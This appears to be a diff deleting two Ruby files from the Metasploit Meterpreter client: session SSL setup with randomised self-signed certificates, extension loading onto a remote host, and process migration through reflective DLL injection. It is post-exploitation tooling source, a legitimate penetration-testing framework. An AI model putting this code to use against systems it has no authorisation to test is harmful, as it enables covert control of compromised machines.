- #
97
- def init_meterpreter(sock,opts={})
98
- self.sock = sock
99
- self.parser = PacketParser.new
100
- self.ext = ObjectAliases.new
101
- self.ext_aliases = ObjectAliases.new
102
- self.alive = true
103
- self.target_id = opts[:target_id]
104
- self.capabilities= opts[:capabilities] || {}
105
-
106
- self.response_timeout = opts[:timeout] || self.class.default_timeout
107
- self.send_keepalives = true
108
-
109
-
110
- # Switch the socket to SSL mode and receive the hello if needed
111
- if capabilities[:ssl] and not opts[:skip_ssl]
112
- swap_sock_plain_to_ssl()
113
- end
114
-
115
- register_extension_alias('core', ClientCore.new(self))
116
-
117
- initialize_inbound_handlers
118
- initialize_channels
119
-
120
- # Register the channel inbound packet handler
121
- register_inbound_handler(Rex::Post::Meterpreter::Channel)
122
-
123
- monitor_socket
124
- end
125
-
126
- def swap_sock_plain_to_ssl
127
- # Create a new SSL session on the existing socket
128
- ctx = generate_ssl_context()
129
- ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
130
-
131
- ssl.accept
132
-
133
- self.sock.extend(Rex::Socket::SslTcp)
134
- self.sock.sslsock = ssl
135
- self.sock.sslctx = ctx
136
-
137
- tag = self.sock.get_once(-1, 30)
138
- if(not tag or tag !~ /^GET \//)
139
- raise RuntimeError, "Could not read the HTTP hello token"
140
- end
141
- end
142
-
143
- def swap_sock_ssl_to_plain
144
- # Remove references to the SSLSocket and Context
145
- self.sock.sslsock.close
146
- self.sock.sslsock = nil
147
- self.sock.sslctx = nil
148
- self.sock = self.sock.fd
149
- self.sock.extend(::Rex::Socket::Tcp)
150
- end
151
-
152
- def generate_ssl_context
153
- @@ssl_mutex.synchronize do
154
- if not @@ssl_ctx
155
-
156
- wlog("Generating SSL certificate for Meterpreter sessions")
157
-
158
- key = OpenSSL::PKey::RSA.new(1024){ }
159
- cert = OpenSSL::X509::Certificate.new
160
- cert.version = 2
161
- cert.serial = rand(0xFFFFFFFF)
162
-
163
- subject = OpenSSL::X509::Name.new([
164
- ["C","US"],
165
- ['ST', Rex::Text.rand_state()],
166
- ["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
167
- ["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
168
- ["CN", self.sock.getsockname[1] || Rex::Text.rand_hostname],
169
- ])
170
- issuer = OpenSSL::X509::Name.new([
171
- ["C","US"],
172
- ['ST', Rex::Text.rand_state()],
173
- ["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
174
- ["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
175
- ["CN", Rex::Text.rand_text_alpha(rand(20) + 10)],
176
- ])
177
-
178
- cert.subject = subject
179
- cert.issuer = issuer
180
- cert.not_before = Time.now - (3600 * 365) + rand(3600 * 14)
181
- cert.not_after = Time.now + (3600 * 365) + rand(3600 * 14)
182
- cert.public_key = key.public_key
183
- ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
184
- cert.extensions = [
185
- ef.create_extension("basicConstraints","CA:FALSE"),
186
- ef.create_extension("subjectKeyIdentifier","hash"),
187
- ef.create_extension("extendedKeyUsage","serverAuth"),
188
- ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
189
- ]
190
- ef.issuer_certificate = cert
191
- cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
192
- cert.sign(key, OpenSSL::Digest::SHA1.new)
193
-
194
- ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
195
- ctx.key = key
196
- ctx.cert = cert
197
-
198
- ctx.session_id_context = Rex::Text.rand_text(16)
199
-
200
- wlog("Generated SSL certificate for Meterpreter sessions")
201
-
202
- @@ssl_ctx = ctx
203
-
204
- end # End of if not @ssl_ctx
205
- end # End of mutex.synchronize
206
-
207
- @@ssl_ctx
208
- end
209
-
210
- ##
211
- #
212
- # Accessors
213
- #
214
- ##
215
-
216
- #
217
- # Returns the default timeout that request packets will use when
218
- # waiting for a response.
219
- #
220
- def Client.default_timeout
221
- return 300
222
- end
223
-
224
- ##
225
- #
226
- # Alias processor
227
- #
228
- ##
229
-
230
- #
231
- # Translates unhandled methods into registered extension aliases
232
- # if a matching extension alias exists for the supplied symbol.
233
- #
234
- def method_missing(symbol, *args)
235
- self.ext_aliases.aliases[symbol.to_s]
236
- end
237
-
238
- ##
239
- #
240
- # Extension registration
241
- #
242
- ##
243
-
244
- #
245
- # Loads the client half of the supplied extension and initializes it as a
246
- # registered extension that can be reached through client.ext.[extension].
247
- #
248
- def add_extension(name)
249
- # Check to see if this extension has already been loaded.
250
- if ((klass = self.class.check_ext_hash(name.downcase)) == nil)
251
- old = Rex::Post::Meterpreter::Extensions.constants
252
- require("rex/post/meterpreter/extensions/#{name.downcase}/#{name.downcase}")
253
- new = Rex::Post::Meterpreter::Extensions.constants
254
-
255
- # No new constants added?
256
- if ((diff = new - old).empty?)
257
- diff = [ name.capitalize ]
258
- end
259
-
260
- klass = Rex::Post::Meterpreter::Extensions.const_get(diff[0]).const_get(diff[0])
261
-
262
- # Save the module name to class association now that the code is
263
- # loaded.
264
- self.class.set_ext_hash(name.downcase, klass)
265
- end
266
-
267
- # Create a new instance of the extension
268
- inst = klass.new(self)
269
-
270
- self.ext.aliases[inst.name] = inst
271
-
272
- return true
273
- end
274
-
275
- #
276
- # Deregisters an extension alias of the supplied name.
277
- #
278
- def deregister_extension(name)
279
- self.ext.aliases.delete(name)
280
- end
281
-
282
- #
283
- # Enumerates all of the loaded extensions.
284
- #
285
- def each_extension(&block)
286
- self.ext.aliases.each(block)
287
- end
288
-
289
- #
290
- # Registers an aliased extension that can be referenced through
291
- # client.name.
292
- #
293
- def register_extension_alias(name, ext)
294
- self.ext_aliases.aliases[name] = ext
295
- end
296
-
297
- #
298
- # Registers zero or more aliases that are provided in an array.
299
- #
300
- def register_extension_aliases(aliases)
301
- aliases.each { |a|
302
- register_extension_alias(a['name'], a['ext'])
303
- }
304
- end
305
-
306
- #
307
- # Deregisters a previously registered extension alias.
308
- #
309
- def deregister_extension_alias(name)
310
- self.ext_aliases.aliases.delete(name)
311
- end
312
-
313
- #
314
- # Dumps the extension tree.
315
- #
316
- def dump_extension_tree()
317
- items = []
318
- items.concat(self.ext.dump_alias_tree('client.ext'))
319
- items.concat(self.ext_aliases.dump_alias_tree('client'))
320
-
321
- return items.sort
322
- end
323
-
324
- #
325
- # The extension alias under which all extensions can be accessed by name.
326
- # For example:
327
- #
328
- # client.ext.stdapi
329
- #
330
- #
331
- attr_reader :ext
332
- #
333
- # The socket the client is communicating over.
334
- #
335
- attr_reader :sock
336
- #
337
- # The timeout value to use when waiting for responses.
338
- #
339
- attr_accessor :response_timeout
340
- #
341
- # Whether to send pings every so often to determine liveness.
342
- #
343
- attr_accessor :send_keepalives
344
- #
345
- # Whether this session is alive. If the socket is disconnected or broken,
346
- # this will be false
347
- #
348
- attr_accessor :alive
349
- #
350
- # The unique target identifier for this payload
351
- #
352
- attr_accessor :target_id
353
- #
354
- # The libraries available to this meterpreter server
355
- #
356
- attr_accessor :capabilities
357
-
358
- protected
359
- attr_accessor :parser, :ext_aliases # :nodoc:
360
- attr_writer :ext, :sock # :nodoc:
361
- end
362
-
363
- end; end; end
364
-
@@ -1,274 +0,0 @@
1
- #!/usr/bin/env ruby
2
-
3
- require 'rex/post/meterpreter/packet'
4
- require 'rex/post/meterpreter/extension'
5
- require 'rex/post/meterpreter/client'
6
- require 'msf/core/payload/windows'
7
-
8
- module Rex
9
- module Post
10
- module Meterpreter
11
-
12
- ###
13
- #
14
- # This class is responsible for providing the interface to the core
15
- # client-side meterpreter API which facilitates the loading of extensions
16
- # and the interaction with channels.
17
- #
18
- #
19
- ###
20
- class ClientCore < Extension
21
-
22
- #
23
- # Initializes the 'core' portion of the meterpreter client commands.
24
- #
25
- def initialize(client)
26
- super(client, "core")
27
- end
28
-
29
- ##
30
- #
31
- # Core commands
32
- #
33
- ##
34
-
35
- #
36
- # Loads a library on the remote meterpreter instance. This method
37
- # supports loading both extension and non-extension libraries and
38
- # also supports loading libraries from memory or disk depending
39
- # on the flags that are specified
40
- #
41
- # Supported flags:
42
- #
43
- # LibraryFilePath
44
- # The path to the library that is to be loaded
45
- #
46
- # TargetFilePath
47
- # The target library path when uploading
48
- #
49
- # UploadLibrary
50
- # Indicates whether or not the library should be uploaded
51
- #
52
- # SaveToDisk
53
- # Indicates whether or not the library should be saved to disk
54
- # on the remote machine
55
- #
56
- # Extension
57
- # Indicates whether or not the library is a meterpreter extension
58
- #
59
- def load_library(opts)
60
- library_path = opts['LibraryFilePath']
61
- target_path = opts['TargetFilePath']
62
- load_flags = LOAD_LIBRARY_FLAG_LOCAL
63
-
64
- # No library path, no cookie.
65
- if (library_path == nil)
66
- raise ArgumentError, "No library file path was supplied", caller
67
- end
68
-
69
- # Set up the proper loading flags
70
- if (opts['UploadLibrary'])
71
- load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
72
- end
73
- if (opts['SaveToDisk'])
74
- load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
75
- end
76
- if (opts['Extension'])
77
- load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
78
- end
79
-
80
- # Create a request packet
81
- request = Packet.create_request('core_loadlib')
82
-
83
- # If we must upload the library, do so now
84
- if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
85
- image = ''
86
-
87
- ::File.open(library_path, 'rb') { |f|
88
- image = f.read
89
- }
90
-
91
- if (image != nil)
92
- request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
93
- else
94
- raise RuntimeError, "Failed to serialize library #{library_path}.", caller
95
- end
96
-
97
- # If it's an extension we're dealing with, rename the library
98
- # path of the local and target so that it gets loaded with a random
99
- # name
100
- if (opts['Extension'])
101
- library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
102
- target_path = library_path
103
- end
104
- end
105
-
106
- # Add the base TLVs
107
- request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
108
- request.add_tlv(TLV_TYPE_FLAGS, load_flags)
109
-
110
- if (target_path != nil)
111
- request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
112
- end
113
-
114
- # Transmit the request and wait the default timeout seconds for a response
115
- response = self.client.send_packet_wait_response(request, self.client.response_timeout)
116
-
117
- # No response?
118
- if (response == nil)
119
- raise RuntimeError, "No response was received to the core_loadlib request.", caller
120
- elsif (response.result != 0)
121
- raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
122
- end
123
-
124
- return true
125
- end
126
-
127
- #
128
- # Loads a meterpreter extension on the remote server instance and
129
- # initializes the client-side extension handlers
130
- #
131
- # Module
132
- # The module that should be loaded
133
- #
134
- # LoadFromDisk
135
- # Indicates that the library should be loaded from disk, not from
136
- # memory on the remote machine
137
- #
138
- def use(mod, opts = { })
139
- if (mod == nil)
140
- raise RuntimeError, "No modules were specified", caller
141
- end
142
- # Get us to the installation root and then into data/meterpreter, where
143
- # the file is expected to be
144
- path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
145
-
146
- if (opts['ExtensionPath'])
147
- path = opts['ExtensionPath']
148
- end
149
-
150
- path = ::File.expand_path(path)
151
-
152
- # Load the extension DLL
153
- if (load_library(
154
- 'LibraryFilePath' => path,
155
- 'UploadLibrary' => true,
156
- 'Extension' => true,
157
- 'SaveToDisk' => opts['LoadFromDisk']))
158
- client.add_extension(mod)
159
- end
160
-
161
- return true
162
- end
163
-
164
- #
165
- # Migrates the meterpreter instance to the process specified
166
- # by pid. The connection to the server remains established.
167
- #
168
- def migrate( pid )
169
- keepalive = client.send_keepalives
170
- client.send_keepalives = false
171
- process = nil
172
- binary_suffix = nil
173
-
174
- # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
175
- client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
176
-
177
- # Determine the architecture for the pid we are going to migrate into...
178
- client.sys.process.processes.each { | p |
179
- if( p['pid'] == pid )
180
- process = p
181
- break
182
- end
183
- }
184
-
185
- # We cant migrate into a process that does not exist.
186
- if( process == nil )
187
- raise RuntimeError, "Cannot migrate into non existant process", caller
188
- end
189
-
190
- # We cant migrate into a process that we are unable to open
191
- if( process['arch'] == nil or process['arch'].empty? )
192
- raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
193
- end
194
-
195
- # And we also cant migrate into our own current process...
196
- if( process['pid'] == client.sys.process.getpid )
197
- raise RuntimeError, "Cannot migrate into current process", caller
198
- end
199
-
200
- # Create a new payload stub
201
- c = Class.new( ::Msf::Payload )
202
- c.include( ::Msf::Payload::Stager )
203
-
204
- # Include the appropriate reflective dll injection module for the target process architecture...
205
- if( process['arch'] == ARCH_X86 )
206
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
207
- binary_suffix = "dll"
208
- elsif( process['arch'] == ARCH_X86_64 )
209
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
210
- binary_suffix = "x64.dll"
211
- else
212
- raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
213
- end
214
-
215
- # Create the migrate stager
216
- migrate_stager = c.new()
217
- migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
218
-
219
- payload = migrate_stager.stage_payload
220
-
221
- # Build the migration request
222
- request = Packet.create_request( 'core_migrate' )
223
- request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
224
- request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
225
- request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, payload, false, client.capabilities[:zlib])
226
- if( process['arch'] == ARCH_X86_64 )
227
- request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
228
- else
229
- request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
230
- end
231
-
232
- # Send the migration request (bump up the timeout to 60 seconds)
233
- response = client.send_request( request, 60 )
234
-
235
- # Disable the socket request monitor
236
- client.monitor_stop
237
-
238
- ###
239
- # Now communicating with the new process
240
- ###
241
-
242
- # Renegotiate SSL over this socket
243
- client.swap_sock_ssl_to_plain()
244
- client.swap_sock_plain_to_ssl()
245
-
246
- # Restart the socket monitor
247
- client.monitor_socket
248
-
249
- # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
250
- # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
251
- # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
252
- if( process['arch'] == ARCH_X86_64 )
253
- client.platform = 'x64/win64'
254
- client.binary_suffix = 'x64.dll'
255
- else
256
- client.platform = 'x86/win32'
257
- client.binary_suffix = 'dll'
258
- end
259
-
260
- # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
261
- client.ext.aliases.keys.each { |e|
262
- client.core.use(e)
263
- }
264
-
265
- # Restore session keep-alives
266
- client.send_keepalives = keepalive
267
-
268
- return true
269
- end
270
-
271
- end
272
-
273
- end; end; end
274
-